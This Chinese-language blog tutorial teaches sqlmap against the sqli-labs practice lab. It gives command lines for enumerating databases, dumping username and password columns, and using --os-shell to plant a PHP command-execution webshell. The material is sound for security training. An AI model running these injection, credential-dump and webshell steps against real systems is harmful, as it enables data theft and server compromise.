深入探索SQLMap:Web安全测试的得力助手

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


目录

 

1.安装sqlmap

 

1.1SQLmap是一款「自动化」SQL注入工具。安装本地sqlmap工具或直接使用kail虚拟机中自带的sqlmap都可以

2.sqlmap基础命令介绍

2.1指定URL(以下适用于GET请求,POST请求在后文)

2.2获取所有数据库:--dbs

2.3获取所有数据表:--tables

2.4获取所有字段: --columns

2.5打印数据 : --dump

2.6 总结基础命令

3.sqlmap工具应对POST请求

3.1方法一通过抓包获得数据包

3.1.1打开bp和靶场12关

3.1.2将抓到的数据包保存在桌面文本文件中命名为1.txt

3.1.3通过sqmap工具查到可以注入类型

3.1.4获得所有数据库名

3.1.5获得当前数据库名

3.1.6获得当前数据库下所有表的名

3.1.7查看users表中的字段

3.1.8获得账户密码

3.2第二种方式自动搜索表单方式

3.2.1拿到当前数据库名称

3.2.2拿到库中所有表

3.2.3拿到所有字段(命令与上文相同)

3.2.4拿到所有账户密码(命令与上文相同)

3.3总结

4.sqlmap获取shell

4.1网站数据库必须是root权限

4.2.攻击者需要知道网站的绝对路径

4.3然后写入一句话木马到1.php

4.4通过一句话木马获取到此数据库所有信息

4.5总结 

5.sqlmap的其他命令


 

 

1.安装sqlmap

1.1SQLmap是一款「自动化」SQL注入工具。安装本地sqlmap工具或直接使用kail虚拟机中自带的sqlmap都可以(本文使用本地sqlmap)

安装成功


2.sqlmap基础命令介绍

2.1指定URL(以下适用于GET请求,POST请求在后文)

sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1

-u:用于get提交方式,后面跟注入的url网址(也就是需要使用sqlmap工具的网站如sql-labs靶场,上方使用链接就是sql-labs靶场链接)

sqlmap帮我们检测出sql-labs靶场第一关所存在的漏洞,接下来我们如何利用漏洞获取信息?

2.2获取所有数据库:--dbs

sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1 --dbs

可以看到,此时以获得这个数据库中所以数据库名,接下来我们查看某一数据库中的表。

2.3获取所有数据表:--tables

sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1   -D security  

--tables

我们可以看到此时security数据库中的表名已经爆出来了。接下来我们查询某个表中的字段,

-D 指定库名。

2.4获取所有字段: --columns

sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1   -D security 

-T users --columns

可以看到表users中的字段数爆出来了,接下来就是打印数据

-T 指定表名

2.5打印数据 : --dump

sqlmap.py -u http://localhost/sqli_labs-sqli-version-master/Less-2/?id=1   -D security 

-T users  -C  password,username --dump

表中所有数据已经打印出来。-C 指定字段。

2.6 总结基础命令

-u:用于get提交方式,后面跟注入的url网址

--level :执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数

--risk:风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

--dbs:获取所有数据库

--tales:获取所有数据表

--columns:获取所有字段

--dump:打印数据

-D:查询选择某个库

-T:查询选择某个表

-C:查询选择某个字段

--current-db 指定当前数据库(如下)

sqlmap.py -u http://localhost/LABS-SQLI/sqli-labs-php7-master/Less-1/?id=1 --current-db


3.sqlmap工具应对POST请求

3.1方法一通过抓包获得数据包

3.1.1打开bp和sql-labs靶场12关

3.1.2将抓到的数据包保存在桌面文本文件中命名为1.txt

3.1.3通过sqmap工具查到可以注入类型

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs

-p:需要检测的参数。也可以在文本中在需要检测参数前标注*

3.1.4获得所有数据库名

3.1.5获得当前数据库名

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt  --current-db

3.1.6获得当前数据库下所有表的名

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D security --tables

3.1.7查看users表中的字段

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D security -T users  --columns

3.1.8获得账户密码

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D security -C  password,username --dump


3.2第二种方式自动搜索表单方式

sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms

3.2.1拿到当前数据库名称

sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms --current-db

3.2.2拿到库中所有表

sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms -D security --tables

3.2.3拿到所有字段(命令与上文相同)

3.2.4拿到所有账户密码(命令与上文相同)

3.3总结


--forms 自动检测表单
-data   :指定HTTP POST请求的数据(例如下面代码)

sqlmap.py -u "http://192.168.37.1/sqli/Less-15/" --data "uname=1" -D security --tables

r表示加载一个文件,-p指定测试参数

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs

sqlmap.py -u "http://example.com/vuln.php?id=1" -p id

对POST请求,一直用 “-r txt文件”的形式,进行注入测试;但发现还有另一种POST,用“-r txt文件”的形式进行却无效,原来可以通过“--data="key=value"”来进行测试注入。

当post的body(HTTP 请求中的主体部分,用于传递大量数据)为以下使用-r

参数1=value1&参数2=value2.....

当post的body为以下使用 --data

-c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a

Content-Disposition: form-data; name="page"

Content-Length: 1


4.sqlmap获取shell

--os-shell的执行条件有四个:

(1)网站数据库必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,PHP主动转义的功能关闭

(4)secure_file_priv无限制

4.1网站数据库必须是root权限

首先使用 --is-dba命令查看是否为管理员,若不是,则无法使用--os-shell命令。true是管理员,不是管理员显示为false

或者可以使用 --users 查看账号权限

sqlmap.py -r 1.txt --users --level=3

当前用户为root用户

4.2.攻击者需要知道网站的绝对路径

使用 –os-shell命令,存在注入点后,会提示需要选择语言,并且选择路径

sqlmap.py -r 1.txt -os-shell

首先选择4 php语言然后选择2自行输入路径

选项一为用这几个路径

选项二为用户自己输入

选项三为用用户的字典

选项四为爆破。

此时网站根目录下写入两个文件

4.3然后写入一句话木马到1.php

4.4通过一句话木马获取到此数据库所有信息

4.5总结 

--os-shell的本质就是写入两个php文件,其中的tmpumjti.php可以让我们上传文件到网站路径下

sqlmap就会通过上面这个php上传一个用于命令执行的tmpubpwk.php到网站路径下让我们命令执行,并将输出的内容返回sqlmap端。sqlmap的--os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。


5.sqlmap的其他命令

-m:将us.txt中放入多个URL进行批量扫描

sqlmap.py -m us.txt

--cookie:指定cookie的值进行注入

sqlmap.py -u "http://xu?id=r" --cookie 'cookie'
 

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

sqlmap.y -u 'http://xu/?id=r' -D 'security' --schema
 

--is-dba 判断当前登录的用户是不是数据库的管理员账号

sqlmap.py -u 'http://xu/?id=r' --is-dba
 

--hostname 获取服务器主机名。

sqlmap.py -u 'http://xu/?id=r' --hostname
 

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

sqlmap.py -u 'http://xx/?id=1' -D 'security' --search
 

--batch (默认确认)不再询问是否确认。

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs --batch

--proxy="127.0.0.1:8080" 指定代理

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs --proxy="127.0.0.1:8080"

--threads 10 设置线程数,最高10

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs --threads 10

(需要源代码关注公众号免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力)!!!

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值